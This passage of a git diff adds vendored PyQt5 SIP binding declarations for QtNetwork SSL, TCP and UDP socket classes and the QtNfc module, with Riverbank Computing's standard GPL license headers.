testSslOption(QSsl::SslOption option) const; + void swap(QSslConfiguration &other /Constrained/); +%If (Qt_5_1_0 -) + QList localCertificateChain() const; +%End +%If (Qt_5_1_0 -) + void setLocalCertificateChain(const QList &localChain); +%End +%If (Qt_5_2_0 -) + QByteArray sessionTicket() const; +%End +%If (Qt_5_2_0 -) + void setSessionTicket(const QByteArray &sessionTicket); +%End +%If (Qt_5_2_0 -) + int sessionTicketLifeTimeHint() const; +%End +%If (Qt_5_3_0 -) + + enum NextProtocolNegotiationStatus + { + NextProtocolNegotiationNone, + NextProtocolNegotiationNegotiated, + NextProtocolNegotiationUnsupported, + }; + +%End +%If (Qt_5_3_0 -) + void setAllowedNextProtocols(QList protocols); +%End +%If (Qt_5_3_0 -) + QList allowedNextProtocols() const; +%End +%If (Qt_5_3_0 -) + QByteArray nextNegotiatedProtocol() const; +%End +%If (Qt_5_3_0 -) + QSslConfiguration::NextProtocolNegotiationStatus nextProtocolNegotiationStatus() const; +%End +%If (Qt_5_3_0 -) + static const char *NextProtocolSpdy3_0 /Encoding="None",NoSetter/; +%End +%If (Qt_5_3_0 -) + static const char *NextProtocolHttp1_1 /Encoding="None",NoSetter/; +%End +%If (Qt_5_4_0 -) + QSsl::SslProtocol sessionProtocol() const; +%End +%If (Qt_5_5_0 -) + static QList supportedCiphers(); +%End +%If (Qt_5_5_0 -) + static QList systemCaCertificates(); +%End +%If (Qt_5_5_0 -) + QVector ellipticCurves() const; +%End +%If (Qt_5_5_0 -) + void setEllipticCurves(const QVector &curves); +%End +%If (Qt_5_5_0 -) + static QVector supportedEllipticCurves(); +%End +%If (Qt_5_7_0 -) + QSslKey ephemeralServerKey() const; +%End +%If (Qt_5_8_0 -) + QByteArray preSharedKeyIdentityHint() const; +%End +%If (Qt_5_8_0 -) + void setPreSharedKeyIdentityHint(const QByteArray &hint); +%End +%If (Qt_5_8_0 -) + QSslDiffieHellmanParameters diffieHellmanParameters() const; +%End +%If (Qt_5_8_0 -) + void setDiffieHellmanParameters(const QSslDiffieHellmanParameters &dhparams); +%End +%If (Qt_5_11_0 -) + QMap backendConfiguration() const; +%End +%If (Qt_5_11_0 -) + void setBackendConfigurationOption(const QByteArray &name, const QVariant &value); +%End +%If (Qt_5_11_0 -) + void setBackendConfiguration(const QMap &backendConfiguration = QMap()); +%End +%If (Qt_5_13_0 -) + void setOcspStaplingEnabled(bool enable); +%End +%If (Qt_5_13_0 -) + bool ocspStaplingEnabled() const; +%End +%If (Qt_5_15_0 -) + void addCaCertificate(const QSslCertificate &certificate); +%End +%If (Qt_5_15_0 -) + bool addCaCertificates(const QString &path, QSsl::EncodingFormat format = QSsl::Pem, QSslCertificate::PatternSyntax syntax = QSslCertificate::PatternSyntax::FixedString); +%End +%If (Qt_5_15_0 -) + void addCaCertificates(const QList &certificates); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qssldiffiehellmanparameters.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qssldiffiehellmanparameters.sip new file mode 100644 index 00000000..460952f9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qssldiffiehellmanparameters.sip @@ -0,0 +1,68 @@ +// qssldiffiehellmanparameters.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_8_0 -) +%If (PyQt_SSL) + +class QSslDiffieHellmanParameters +{ +%TypeHeaderCode +#include +%End + +public: + enum Error + { + NoError, + InvalidInputDataError, + UnsafeParametersError, + }; + + QSslDiffieHellmanParameters(); + QSslDiffieHellmanParameters(const QSslDiffieHellmanParameters &other); + ~QSslDiffieHellmanParameters(); + void swap(QSslDiffieHellmanParameters &other /Constrained/); + static QSslDiffieHellmanParameters defaultParameters(); + static QSslDiffieHellmanParameters fromEncoded(const QByteArray &encoded, QSsl::EncodingFormat encoding = QSsl::EncodingFormat::Pem); + static QSslDiffieHellmanParameters fromEncoded(QIODevice *device, QSsl::EncodingFormat encoding = QSsl::EncodingFormat::Pem) /ReleaseGIL/; + bool isEmpty() const; + bool isValid() const; + QSslDiffieHellmanParameters::Error error() const; + QString errorString() const; + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; + +%End +%End +%If (Qt_5_8_0 -) +%If (PyQt_SSL) +bool operator==(const QSslDiffieHellmanParameters &lhs, const QSslDiffieHellmanParameters &rhs); +%End +%End +%If (Qt_5_8_0 -) +%If (PyQt_SSL) +bool operator!=(const QSslDiffieHellmanParameters &lhs, const QSslDiffieHellmanParameters &rhs); +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslellipticcurve.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslellipticcurve.sip new file mode 100644 index 00000000..24abc7b5 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslellipticcurve.sip @@ -0,0 +1,57 @@ +// qsslellipticcurve.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) +%If (PyQt_SSL) + +class QSslEllipticCurve +{ +%TypeHeaderCode +#include +%End + +public: + QSslEllipticCurve(); + static QSslEllipticCurve fromShortName(const QString &name); + static QSslEllipticCurve fromLongName(const QString &name); + QString shortName() const; + QString longName() const; + bool isValid() const; + bool isTlsNamedCurve() const; + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End +}; + +%End +%End +%If (Qt_5_5_0 -) +%If (PyQt_SSL) +bool operator==(QSslEllipticCurve lhs, QSslEllipticCurve rhs); +%End +%End +%If (Qt_5_5_0 -) +%If (PyQt_SSL) +bool operator!=(QSslEllipticCurve lhs, QSslEllipticCurve rhs); +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslerror.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslerror.sip new file mode 100644 index 00000000..c4b4c2d9 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslerror.sip @@ -0,0 +1,118 @@ +// qsslerror.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_SSL) + +class QSslError +{ +%TypeHeaderCode +#include +%End + +public: + enum SslError + { + UnspecifiedError, + NoError, + UnableToGetIssuerCertificate, + UnableToDecryptCertificateSignature, + UnableToDecodeIssuerPublicKey, + CertificateSignatureFailed, + CertificateNotYetValid, + CertificateExpired, + InvalidNotBeforeField, + InvalidNotAfterField, + SelfSignedCertificate, + SelfSignedCertificateInChain, + UnableToGetLocalIssuerCertificate, + UnableToVerifyFirstCertificate, + CertificateRevoked, + InvalidCaCertificate, + PathLengthExceeded, + InvalidPurpose, + CertificateUntrusted, + CertificateRejected, + SubjectIssuerMismatch, + AuthorityIssuerSerialNumberMismatch, + NoPeerCertificate, + HostNameMismatch, + NoSslSupport, + CertificateBlacklisted, +%If (Qt_5_13_0 -) + CertificateStatusUnknown, +%End +%If (Qt_5_13_0 -) + OcspNoResponseFound, +%End +%If (Qt_5_13_0 -) + OcspMalformedRequest, +%End +%If (Qt_5_13_0 -) + OcspMalformedResponse, +%End +%If (Qt_5_13_0 -) + OcspInternalError, +%End +%If (Qt_5_13_0 -) + OcspTryLater, +%End +%If (Qt_5_13_0 -) + OcspSigRequred, +%End +%If (Qt_5_13_0 -) + OcspUnauthorized, +%End +%If (Qt_5_13_0 -) + OcspResponseCannotBeTrusted, +%End +%If (Qt_5_13_0 -) + OcspResponseCertIdUnknown, +%End +%If (Qt_5_13_0 -) + OcspResponseExpired, +%End +%If (Qt_5_13_0 -) + OcspStatusUnknown, +%End + }; + + QSslError(); + QSslError(QSslError::SslError error); + QSslError(QSslError::SslError error, const QSslCertificate &certificate); + QSslError(const QSslError &other); + ~QSslError(); + QSslError::SslError error() const; + QString errorString() const; + QSslCertificate certificate() const; + bool operator==(const QSslError &other) const; + bool operator!=(const QSslError &other) const; + void swap(QSslError &other /Constrained/); +%If (Qt_5_4_0 -) + long __hash__() const; +%MethodCode + sipRes = qHash(*sipCpp); +%End + +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslkey.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslkey.sip new file mode 100644 index 00000000..354ae1e8 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslkey.sip @@ -0,0 +1,51 @@ +// qsslkey.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_SSL) + +class QSslKey +{ +%TypeHeaderCode +#include +%End + +public: + QSslKey(); + QSslKey(const QByteArray &encoded, QSsl::KeyAlgorithm algorithm, QSsl::EncodingFormat encoding = QSsl::Pem, QSsl::KeyType type = QSsl::PrivateKey, const QByteArray &passPhrase = QByteArray()); + QSslKey(QIODevice *device, QSsl::KeyAlgorithm algorithm, QSsl::EncodingFormat encoding = QSsl::Pem, QSsl::KeyType type = QSsl::PrivateKey, const QByteArray &passPhrase = QByteArray()); + QSslKey(Qt::HANDLE handle, QSsl::KeyType type = QSsl::PrivateKey); + QSslKey(const QSslKey &other); + ~QSslKey(); + bool isNull() const; + void clear(); + int length() const; + QSsl::KeyType type() const; + QSsl::KeyAlgorithm algorithm() const; + QByteArray toPem(const QByteArray &passPhrase = QByteArray()) const; + QByteArray toDer(const QByteArray &passPhrase = QByteArray()) const; + Qt::HANDLE handle() const; + bool operator==(const QSslKey &key) const; + bool operator!=(const QSslKey &key) const; + void swap(QSslKey &other /Constrained/); +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslpresharedkeyauthenticator.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslpresharedkeyauthenticator.sip new file mode 100644 index 00000000..ba6c8d27 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslpresharedkeyauthenticator.sip @@ -0,0 +1,57 @@ +// qsslpresharedkeyauthenticator.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_5_0 -) +%If (PyQt_SSL) + +class QSslPreSharedKeyAuthenticator +{ +%TypeHeaderCode +#include +%End + +public: + QSslPreSharedKeyAuthenticator(); + QSslPreSharedKeyAuthenticator(const QSslPreSharedKeyAuthenticator &authenticator); + ~QSslPreSharedKeyAuthenticator(); + void swap(QSslPreSharedKeyAuthenticator &authenticator /Constrained/); + QByteArray identityHint() const; + void setIdentity(const QByteArray &identity); + QByteArray identity() const; + int maximumIdentityLength() const; + void setPreSharedKey(const QByteArray &preSharedKey); + QByteArray preSharedKey() const; + int maximumPreSharedKeyLength() const; +}; + +%End +%End +%If (Qt_5_5_0 -) +%If (PyQt_SSL) +bool operator==(const QSslPreSharedKeyAuthenticator &lhs, const QSslPreSharedKeyAuthenticator &rhs); +%End +%End +%If (Qt_5_5_0 -) +%If (PyQt_SSL) +bool operator!=(const QSslPreSharedKeyAuthenticator &lhs, const QSslPreSharedKeyAuthenticator &rhs); +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslsocket.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslsocket.sip new file mode 100644 index 00000000..149efbf7 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qsslsocket.sip @@ -0,0 +1,205 @@ +// qsslsocket.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (PyQt_SSL) + +class QSslSocket : QTcpSocket +{ +%TypeHeaderCode +#include +%End + +public: + enum SslMode + { + UnencryptedMode, + SslClientMode, + SslServerMode, + }; + + explicit QSslSocket(QObject *parent /TransferThis/ = 0); + virtual ~QSslSocket(); + void connectToHostEncrypted(const QString &hostName, quint16 port, QIODevice::OpenMode mode = QIODevice::ReadWrite, QAbstractSocket::NetworkLayerProtocol protocol = QAbstractSocket::AnyIPProtocol) /ReleaseGIL/; + void connectToHostEncrypted(const QString &hostName, quint16 port, const QString &sslPeerName, QIODevice::OpenMode mode = QIODevice::ReadWrite, QAbstractSocket::NetworkLayerProtocol protocol = QAbstractSocket::AnyIPProtocol) /ReleaseGIL/; + virtual bool setSocketDescriptor(qintptr socketDescriptor, QAbstractSocket::SocketState state = QAbstractSocket::ConnectedState, QIODevice::OpenMode mode = QIODevice::ReadWrite); + QSslSocket::SslMode mode() const; + bool isEncrypted() const; + QSsl::SslProtocol protocol() const; + void setProtocol(QSsl::SslProtocol protocol); + virtual qint64 bytesAvailable() const; + virtual qint64 bytesToWrite() const; + virtual bool canReadLine() const; + virtual void close(); + virtual bool atEnd() const; + bool flush(); + void abort(); + void setLocalCertificate(const QSslCertificate &certificate); + void setLocalCertificate(const QString &path, QSsl::EncodingFormat format = QSsl::Pem); + QSslCertificate localCertificate() const; + QSslCertificate peerCertificate() const; + QList peerCertificateChain() const; + QSslCipher sessionCipher() const; + void setPrivateKey(const QSslKey &key); + void setPrivateKey(const QString &fileName, QSsl::KeyAlgorithm algorithm = QSsl::Rsa, QSsl::EncodingFormat format = QSsl::Pem, const QByteArray &passPhrase = QByteArray()); + QSslKey privateKey() const; + QList ciphers() const; + void setCiphers(const QList &ciphers); + void setCiphers(const QString &ciphers); + static void setDefaultCiphers(const QList &ciphers); + static QList defaultCiphers(); + static QList supportedCiphers(); + bool addCaCertificates(const QString &path, QSsl::EncodingFormat format = QSsl::Pem, QRegExp::PatternSyntax syntax = QRegExp::FixedString); + void addCaCertificate(const QSslCertificate &certificate); + void addCaCertificates(const QList &certificates); + void setCaCertificates(const QList &certificates); + QList caCertificates() const; + static bool addDefaultCaCertificates(const QString &path, QSsl::EncodingFormat format = QSsl::Pem, QRegExp::PatternSyntax syntax = QRegExp::FixedString); + static void addDefaultCaCertificate(const QSslCertificate &certificate); + static void addDefaultCaCertificates(const QList &certificates); + static void setDefaultCaCertificates(const QList &certificates); + static QList defaultCaCertificates(); + static QList systemCaCertificates(); + virtual bool waitForConnected(int msecs = 30000) /ReleaseGIL/; + bool waitForEncrypted(int msecs = 30000) /ReleaseGIL/; + virtual bool waitForReadyRead(int msecs = 30000) /ReleaseGIL/; + virtual bool waitForBytesWritten(int msecs = 30000) /ReleaseGIL/; + virtual bool waitForDisconnected(int msecs = 30000) /ReleaseGIL/; + QList sslErrors() const; + static bool supportsSsl(); + +public slots: + void startClientEncryption(); + void startServerEncryption(); + void ignoreSslErrors(); + +signals: + void encrypted(); + void sslErrors(const QList &errors); + void modeChanged(QSslSocket::SslMode newMode); +%If (Qt_5_5_0 -) + void preSharedKeyAuthenticationRequired(QSslPreSharedKeyAuthenticator *authenticator); +%End + +protected: + virtual SIP_PYOBJECT readData(qint64 maxlen) /TypeHint="Py_v3:bytes;str",ReleaseGIL/ [qint64 (char *data, qint64 maxlen)]; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + #if defined(SIP_PROTECTED_IS_PUBLIC) + len = sipSelfWasArg ? sipCpp->QSslSocket::readData(s, a0) : sipCpp->readData(s, a0); + #else + len = sipCpp->sipProtectVirt_readData(sipSelfWasArg, s, a0); + #endif + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + virtual qint64 writeData(const char *data /Array/, qint64 len /ArraySize/) /ReleaseGIL/; + +public: + enum PeerVerifyMode + { + VerifyNone, + QueryPeer, + VerifyPeer, + AutoVerifyPeer, + }; + + QSslSocket::PeerVerifyMode peerVerifyMode() const; + void setPeerVerifyMode(QSslSocket::PeerVerifyMode mode); + int peerVerifyDepth() const; + void setPeerVerifyDepth(int depth); + virtual void setReadBufferSize(qint64 size); + qint64 encryptedBytesAvailable() const; + qint64 encryptedBytesToWrite() const; + QSslConfiguration sslConfiguration() const; + void setSslConfiguration(const QSslConfiguration &config); + +signals: + void peerVerifyError(const QSslError &error); + void encryptedBytesWritten(qint64 totalBytes); + +public: + virtual void setSocketOption(QAbstractSocket::SocketOption option, const QVariant &value); + virtual QVariant socketOption(QAbstractSocket::SocketOption option); + void ignoreSslErrors(const QList &errors); + QString peerVerifyName() const; + void setPeerVerifyName(const QString &hostName); + virtual void resume() /ReleaseGIL/; + virtual void connectToHost(const QString &hostName, quint16 port, QIODevice::OpenMode mode = QIODevice::ReadWrite, QAbstractSocket::NetworkLayerProtocol protocol = QAbstractSocket::AnyIPProtocol) /ReleaseGIL/; + virtual void disconnectFromHost() /ReleaseGIL/; + static long sslLibraryVersionNumber(); + static QString sslLibraryVersionString(); +%If (Qt_5_1_0 -) + void setLocalCertificateChain(const QList &localChain); +%End +%If (Qt_5_1_0 -) + QList localCertificateChain() const; +%End +%If (Qt_5_4_0 -) + QSsl::SslProtocol sessionProtocol() const; +%End +%If (Qt_5_4_0 -) + static long sslLibraryBuildVersionNumber(); +%End +%If (Qt_5_4_0 -) + static QString sslLibraryBuildVersionString(); +%End +%If (Qt_5_13_0 -) + QVector ocspResponses() const; +%End +%If (Qt_5_15_0 -) + QList sslHandshakeErrors() const; +%End + +signals: +%If (Qt_5_15_0 -) + void newSessionTicketReceived(); +%End +}; + +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qtcpserver.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qtcpserver.sip new file mode 100644 index 00000000..3f9b55f3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qtcpserver.sip @@ -0,0 +1,58 @@ +// qtcpserver.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTcpServer : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTcpServer(QObject *parent /TransferThis/ = 0); + virtual ~QTcpServer(); + bool listen(const QHostAddress &address = QHostAddress::Any, quint16 port = 0); + void close(); + bool isListening() const; + void setMaxPendingConnections(int numConnections); + int maxPendingConnections() const; + quint16 serverPort() const; + QHostAddress serverAddress() const; + qintptr socketDescriptor() const; + bool setSocketDescriptor(qintptr socketDescriptor); + bool waitForNewConnection(int msecs = 0, bool *timedOut = 0) /ReleaseGIL/; + virtual bool hasPendingConnections() const; + virtual QTcpSocket *nextPendingConnection(); + QAbstractSocket::SocketError serverError() const; + QString errorString() const; + void setProxy(const QNetworkProxy &networkProxy); + QNetworkProxy proxy() const; + void pauseAccepting(); + void resumeAccepting(); + +protected: + virtual void incomingConnection(qintptr handle); + void addPendingConnection(QTcpSocket *socket); + +signals: + void newConnection(); + void acceptError(QAbstractSocket::SocketError socketError); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qtcpsocket.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qtcpsocket.sip new file mode 100644 index 00000000..229f3c41 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qtcpsocket.sip @@ -0,0 +1,32 @@ +// qtcpsocket.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QTcpSocket : QAbstractSocket +{ +%TypeHeaderCode +#include +%End + +public: + explicit QTcpSocket(QObject *parent /TransferThis/ = 0); + virtual ~QTcpSocket(); +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qudpsocket.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qudpsocket.sip new file mode 100644 index 00000000..b7a986a3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNetwork/qudpsocket.sip @@ -0,0 +1,82 @@ +// qudpsocket.sip generated by MetaSIP +// +// This file is part of the QtNetwork Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QUdpSocket : QAbstractSocket +{ +%TypeHeaderCode +#include +%End + +public: + explicit QUdpSocket(QObject *parent /TransferThis/ = 0); + virtual ~QUdpSocket(); + bool hasPendingDatagrams() const; + qint64 pendingDatagramSize() const; + SIP_PYOBJECT readDatagram(qint64 maxlen, QHostAddress *host /Out/ = 0, quint16 *port = 0) /TypeHint="Py_v3:bytes;str",ReleaseGIL/; +%MethodCode + // Return the data read or None if there was an error. + if (a0 < 0) + { + PyErr_SetString(PyExc_ValueError, "maximum length of data to be read cannot be negative"); + sipIsErr = 1; + } + else + { + char *s = new char[a0]; + qint64 len; + + Py_BEGIN_ALLOW_THREADS + len = sipCpp->readDatagram(s, a0, a1, &a2); + Py_END_ALLOW_THREADS + + if (len < 0) + { + Py_INCREF(Py_None); + sipRes = Py_None; + } + else + { + sipRes = SIPBytes_FromStringAndSize(s, len); + + if (!sipRes) + sipIsErr = 1; + } + + delete[] s; + } +%End + + qint64 writeDatagram(const char *data /Array/, qint64 len /ArraySize/, const QHostAddress &host, quint16 port) /ReleaseGIL/; + qint64 writeDatagram(const QByteArray &datagram, const QHostAddress &host, quint16 port) /ReleaseGIL/; + bool joinMulticastGroup(const QHostAddress &groupAddress); + bool joinMulticastGroup(const QHostAddress &groupAddress, const QNetworkInterface &iface); + bool leaveMulticastGroup(const QHostAddress &groupAddress); + bool leaveMulticastGroup(const QHostAddress &groupAddress, const QNetworkInterface &iface); + QNetworkInterface multicastInterface() const; + void setMulticastInterface(const QNetworkInterface &iface); +%If (Qt_5_8_0 -) + QNetworkDatagram receiveDatagram(qint64 maxSize = -1) /ReleaseGIL/; +%End +%If (Qt_5_8_0 -) + qint64 writeDatagram(const QNetworkDatagram &datagram) /ReleaseGIL/; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/QtNfc.toml b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/QtNfc.toml new file mode 100644 index 00000000..4419500f --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/QtNfc.toml @@ -0,0 +1,6 @@ +# Automatically generated configuration for PyQt5.QtNfc. + +sip-version = "6.4.0" +sip-abi-version = "12.8" +module-tags = ["Qt_5_15_0", "WS_WIN"] +module-disabled-features = [] diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/QtNfcmod.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/QtNfcmod.sip new file mode 100644 index 00000000..eca226a2 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtNfc/QtNfcmod.sip @@ -0,0 +1,58 @@ +// QtNfcmod.sip generated by MetaSIP +// +// This file is part of the QtNfc Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%Module(name=PyQt5.QtNfc, keyword_arguments="Optional", use_limited_api=True) + +%Import QtCore/QtCoremod.sip + +%Copying +Copyright (c) 2021 Riverbank Computing Limited + +This file is part of PyQt5. + +This file may be used under the terms of the GNU General Public License +version 3.0 as published by the Free Software Foundation and appearing in +the file LICENSE included in the packaging of this file. Please review the +following information to ensure the GNU General Public License version 3.0 +requirements will be met: http://www.gnu.org/copyleft/gpl.html. + +If you do not wish to use this file under the terms of the GPL version 3.0 +then you may purchase a commercial license. For more information contact +info@riverbankcomputing.com. + +This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. +%End + 